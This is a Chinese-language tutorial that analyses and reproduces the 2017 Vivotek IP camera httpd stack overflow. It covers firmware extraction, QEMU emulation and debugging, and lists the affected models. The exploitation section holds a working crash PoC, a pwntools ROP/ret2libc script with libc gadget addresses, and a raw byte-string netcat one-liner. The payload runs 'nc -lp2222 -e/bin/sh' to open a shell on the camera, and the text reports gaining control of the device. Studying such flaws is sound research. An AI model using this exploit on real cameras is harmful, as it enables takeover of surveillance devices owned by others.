Vivotek远程栈溢出漏洞分析与复现
字数 1657 2025-08-22 12:22:36
Vivotek远程栈溢出漏洞分析与复现教学文档
0x01 漏洞概述
漏洞类型:栈溢出漏洞
影响服务:Vivotek摄像头固件中的httpd服务
漏洞成因:未对用户POST请求中的Content-Length字段进行长度校验,导致栈溢出
影响版本:多个Vivotek摄像头型号(详见下文)
漏洞危害:可导致摄像头进程崩溃,甚至实现任意代码执行
披露时间:2017年11月
受影响设备型号
CC8160, CC8370-HV, CC8371-HV, CD8371-HNTV, CD8371-HNVF2, FD8166A, FD8166A-N,
FD8167A, FD8167A-S, FD8169A, FD8169A-S, FD816BA-HF2, FD816BA-HT, FD816CA-HF2,
FD8177-H, FD8179-H, FD8182-F1, FD8182-F2, FD8182-T, FD8366-V, FD8367A-V,
FD8369A-V, FD836BA-EHTV, FD836BA-EHVF2, FD836BA-HTV, FD836BA-HVF2, FD8377-HV,
FD8379-HV, FD8382-ETV, FD8382-EVF2, FD8382-TV, FD8382-VF2, FD9171-HT, FD9181-HT,
FD9371-EHTV, FD9371-HTV, FD9381-EHTV, FD9381-HTV, FE8182, FE9181-H, FE9182-H,
FE9191, FE9381-EHV, FE9382-EHV, FE9391-EV, IB8360, IB8360-W, IB8367A, IB8369A,
IB836BA-EHF3, IB836BA-EHT, IB836BA-HF3, IB836BA-HT, IB8377-H, IB8379-H,
IB8382-EF3, IB8382-ET, IB8382-F3, IB8382-T, IB9371-EHT, IB9371-HT, IB9381-EHT,
IB9381-HT, IP8160, IP8160-W, IP8166, IP9171-HP, IP9181-H, IZ9361-EH, MD8563-EHF2,
MD8563-EHF4, MD8563-HF2, MD8563-HF4, MD8564-EH, MD8565-N, SD9161-H, SD9361-EHL,
SD9362-EH, SD9362-EHL, SD9363-EHL, SD9364-EH, SD9364-EHL, SD9365-EHL, SD9366-EH,
SD9366-EHL, VS8100-V2
POC链接
https://www.exploit-db.com/exploits/44001
0x02 环境搭建
固件获取
- Vivotek官网不提供历史固件版本下载
- 可通过联系Vivotek技术支持获取漏洞版本固件
- 固件下载地址:http://www.vivotek.com/firmware/
固件解包
- 使用binwalk分析固件:
binwalk firmware.bin - 文件系统路径:
_31.extracted/_rootfs.img.extracted/squashfs-root - httpd程序信息:
- 32位ARM程序
- 小端序
- 动态链接
- 符号表被裁剪
服务运行准备
-
主机名冲突问题:
- 问题表现:
gethostbyname::success但httpd未启动 - 解决方法:修改宿主机和固件hosts文件中的主机名保持一致
- 问题表现:
-
配置文件缺失问题:
- 问题表现:
Could not open boa.conf for reading - 原因:缺少
/etc/conf.d/boa/boa.conf文件 - 解决方法:
- 检查
/etc/conf.d软链接指向../mnt/flash/etc/conf.d - 从其他固件包中复制
etc文件夹到/mnt/flash/目录
- 检查
- 问题表现:
调试环境搭建
-
QEMU虚拟机准备:
- ARM Debian镜像下载:
https://people.debian.org/~aurel32/qemu/armel/ - 启动命令:
sudo tunctl -t tap0 -u `whoami` sudo ifconfig tap0 192.168.2.1/24 qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile \ -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 \ -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic
- ARM Debian镜像下载:
-
虚拟机配置:
sudo mount -o bind /dev ./squashfs-root/dev sudo mount -t proc /proc ./squashfs-root/proc ifconfig eth0 192.168.2.2/24 chroot ./squashfs-root/ sh -
调试工具准备:
- 预编译的GDB和GDBserver:
https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static - 使用Python简单HTTP服务器传输文件:
python -m SimpleHTTPServer
- 预编译的GDB和GDBserver:
0x03 漏洞分析
漏洞点定位
-
POC触发崩溃后寄存器状态:
- R4、R5、R6、R7、R8、R9、R10、R11和PC被覆盖
- PC指向无效地址导致崩溃
-
POC示例:
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n" | netcat -v 192.168.2.2 80 -
漏洞代码分析:
- 未对Content-Length字段进行校验
- 直接使用strcpy将Content-Length值复制到长度为4的dest数组
- dest缓冲区距栈底仅0x38字节,导致溢出
ARM架构特点
-
函数调用约定:
- 返回地址由LR寄存器保存
- 函数参数优先通过R0-R3寄存器传递
- 当Content-Length长度超过0x38-4字节时会覆盖LR
-
保护机制检查:
- 仅开启NX(不可执行保护)
- 未开启ASLR(地址空间布局随机化)
0x04 漏洞利用
利用前提
-
关闭ASLR:
echo 0 > /proc/sys/kernel/randomize_va_space -
地址信息:
- libc基址:0x76f2d000
- 栈基址:0x7effeb60(崩溃时SP寄存器值)
利用思路
-
使用ret2libc技术(因NX保护无法直接执行shellcode)
-
构造ROP链:
- 通过寄存器传递system函数参数
- 需要将命令字符串地址放入R0寄存器
-
Gadget选择:
0x00048784 : pop {r1, pc}0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}- 避免使用含
\x00的gadget地址(如pop {r0,pc})
利用脚本
#encoding=utf-8
#!/usr/bin/python
from pwn import *
from os import *
libc_base = 0x76f2d000 # libC库基址
stack_base = 0x7effeb60 # 崩溃时SP寄存器值
libc_elf = ELF('./libuClibc-0.9.33.3-git.so')
payload = (0x38 - 4) * 'a' # padding
payload += p32(0x00048784 + libc_base) # gadget1: pop {r1, pc}
payload += p32(0x80 + stack_base) # 命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2: mov r0, r1 ; pop {r4, r5, pc}
payload += (0x8 * 'a') # padding
payload += p32(libc_elf.symbols['system'] + libc_base) # system函数地址
payload += ('pwd;' * 0x100 + 'nc \x20 -lp2222 \x20 -e/bin/sh \x20 >') # 命令参数
payload = 'echo -en "POST /cgi-bin/admin/upgrade.cgi \n HTTP/1.0 \n Content-Length:{} \n\r\n\r\n " | nc -v 192.168.2.2 80'.format(payload)
os.system(payload)
硬核字节码版本
echo -en "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x84\x57\xf7\x76\xe0\xeb\xff\x7e\xa4\x3a\xf4\x76aaaaaaaa\xb0\x4a\xf7\x76pwd;pwd;[...]nc -lp2222 -e/bin/sh >\n\r\n\r\n" | nc -v 192.168.2.2 80
0x05 复现结果
成功在远端2222端口反弹shell,通过本地nc连接可获取摄像头控制权限。
0x06 总结与学习要点
关键技术点
- 固件分析:binwalk使用、文件系统提取
- 环境搭建:QEMU模拟ARM环境、网络配置
- 调试技巧:GDB远程调试、ARM架构分析
- 漏洞利用:ROP链构造、ARM调用约定
学习收获
- 掌握了IoT设备固件分析的基本流程
- 熟悉了ARM架构下的漏洞利用技术
- 了解了QEMU模拟和调试ARM程序的方法
- 实践了从漏洞分析到利用的完整过程
扩展思考
- 实际设备中ASLR状态可能不同,需要考虑信息泄露
- 可研究其他Vivotek设备的漏洞模式
- 探索更稳定的利用方式,如多次交互利用